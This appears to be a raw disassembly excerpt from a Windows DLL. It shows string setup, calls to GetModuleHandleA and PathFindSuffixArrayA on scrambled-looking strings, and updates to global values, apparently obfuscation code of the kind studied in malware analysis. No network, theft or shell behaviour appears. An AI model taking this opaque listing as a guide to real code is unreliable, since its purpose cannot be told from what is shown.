push 0x36
push 0
lea ecx, [ebp - 0x20ac]
push ecx
mov ecx, dword [ebp - 0x1ec]
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
push 0
push str.aCvcshLgrczPdfNoEvXgDfSjOrU
push 0x100292ec
call dword [sym.imp.SHLWAPI.dll_PathFindSuffixArrayA]
mov ebx, eax
push str.sBsQTvWu
lea ecx, [ebp - 0x2094]
call fcn.10002060
mov ecx, eax
call fcn.10005610
push eax
call fcn.1001a75b
add esp, 4
add eax, ebx
xor eax, edi
xor eax, esi
mov dword [ebp - 0x1f4], eax
mov edx, dword [0x10036014]
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1f0]
sub eax, dword [ebp - 0x1f4]
mov dword [0x10036014], eax
lea ecx, [ebp - 0x2094]
call fcn.10002340
lea ecx, [ebp - 0x20ac]
call fcn.10002340
lea ecx, [ebp - 0x20c4]
call fcn.10002340
push 0
lea ecx, [ebp - 0x68]
call fcn.10008230
push 0x1005ce08
mov ecx, 0x1005cdd8
call fcn.10006760
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000f73e
mov dword [ebp - 0xcc], 1
jmp 0x1000f748
mov dword [ebp - 0xcc], 0
push 0x1005ccd0
push 0x1005cc58
call fcn.10005bb0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x1000f76d
mov dword [ebp - 0xd0], 1
jmp 0x1000f777
mov dword [ebp - 0xd0], 0
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0xd0]
jle 0x1000f794
push 0x1005cdfc
mov ecx, 0x1005cdfc
call fcn.10005b50
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [0x10036018]
push ecx
mov edx, dword [0x10036010]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [0x10036020]
push ecx
push 0x1005cce8
mov edx, dword [0x10036038]
push edx
lea eax, [ebp - 0x20f4]
push eax
call fcn.10008400
add esp, 0x20
mov dword [ebp - 0x1f8], eax
push 0x41
push 0
lea ecx, [ebp - 0x20dc]
push ecx
mov ecx, dword [ebp - 0x1f8]
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call fcn.1001a75b
add esp, 4
add eax, dword [0x10036050]
mov dword [0x10036010], eax
lea ecx, [ebp - 0x20dc]
call fcn.10002340
lea ecx, [ebp - 0x20f4]
call fcn.10002340
mov ecx, 0x1005cde4
call fcn.10005630
mov dword [ebp - 0x1fc], 1
lea ecx, [ebp - 0x210]
call fcn.10002360
lea ecx, [ebp - 0x50]
call fcn.10002360
lea ecx, [ebp - 0x108]
call fcn.10002340
lea ecx, [ebp - 0x68]
call fcn.10002340
lea ecx, [ebp - 0x234]
call fcn.10002340
lea ecx, [ebp - 0xf0]
call fcn.10002340
mov eax, dword [ebp - 0x1fc]
jmp 0x1000f8bc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret